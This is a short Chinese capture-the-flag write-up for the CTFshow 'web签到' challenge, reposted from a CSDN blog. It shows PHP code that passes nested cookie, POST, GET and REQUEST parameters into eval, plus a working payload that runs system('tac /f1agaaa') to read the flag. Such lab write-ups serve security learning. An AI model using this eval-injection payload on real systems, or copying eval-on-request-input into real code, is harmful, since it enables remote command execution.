CTFshow-菜狗杯-web签到

题目来源

CTFshow

参数传递的获取、url编码、eval命令执行

<?php

error_reporting(0);
highlight_file(__FILE__);

eval($_REQUEST[$_GET[$_POST[$_COOKIE['CTFshow-QQ群:']]]][6][0][7][5][8][0][9][4][4]);

先是cookie传参

再是POST传参

再是GET传参

再是REQUEST传参

最后是eval命令执行

构造payload

?b=c&c[6][0][7][5][8][0][9][4][4]=system("tac /f1agaaa");
a=b
CTFshow-QQ%E7%BE%A4:=a

在这里插入图片描述

得到flag

标签：网络安全 web安全

本文转载自: https://blog.csdn.net/qq_31415417/article/details/128203673
版权归原作者 白泽安全 所有，如有侵权，请联系我们删除。